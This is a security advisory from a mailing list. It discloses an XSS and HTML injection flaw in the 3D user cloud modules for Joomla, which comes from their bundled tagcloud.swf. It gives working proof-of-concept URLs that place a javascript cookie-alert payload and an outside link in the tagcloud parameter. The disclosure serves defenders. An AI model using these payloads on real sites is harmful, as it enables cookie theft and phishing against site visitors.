Hello Bugtraq! I want to warn you about security vulnerability in module 3D user cloud for Joomla. ----------------------------- Advisory: Vulnerability in 3D user cloud for Joomla ----------------------------- URL: http://websecurity.com.ua/4198/ ----------------------------- Affected product: all versions of 3D user cloud (mod_democbusr3dcloud, mod_cbusr3dcloud and mod_usr3dcloud) for Joomla. ----------------------------- Timeline: 10.05.2010 - found vulnerability. 14.05.2010 - disclosed at my site. 15.05.2010 - informed developers. ----------------------------- Details: This is Cross-Site Scripting vulnerability. This XSS is similar to XSS vulnerability in WP-Cumulus and other web applications which I already reported to security mailing lists, because it's using tagcloud.swf made by author of WP-Cumulus. About millions of flash files tagcloud.swf which are vulnerable to XSS attacks I mentioned in my article XSS vulnerabilities in 34 millions flash files (http://www.webappsec.org/lists/websecurity/archive/2010-01/msg00035.html). There are three version of the module: mod_democbusr3dcloud (demo version) and mod_cbusr3dcloud and mod_usr3dcloud (full versions). Flash files are tagcloud.swf and tagcloud_rus.swf. XSS: http://site/modules/mod_democbusr3dcloud/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E http://site/modules/mod_cbusr3dcloud/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E http://site/modules/mod_usr3dcloud/tagcloud_rus.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E Code will execute after click. It's strictly social XSS. Also it's possible to conduct (like in WP-Cumulus) HTML Injection attack, including in those flash files which have protection (in flash files or via WAF) against javascript and vbscript URI in parameter tagcloud. HTML Injection: http://site/modules/mod_democbusr3dcloud/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='http://websecurity.com.ua'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E http://site/modules/mod_cbusr3dcloud/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='http://websecurity.com.ua'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E http://site/modules/mod_usr3dcloud/tagcloud_rus.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='http://websecurity.com.ua'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua
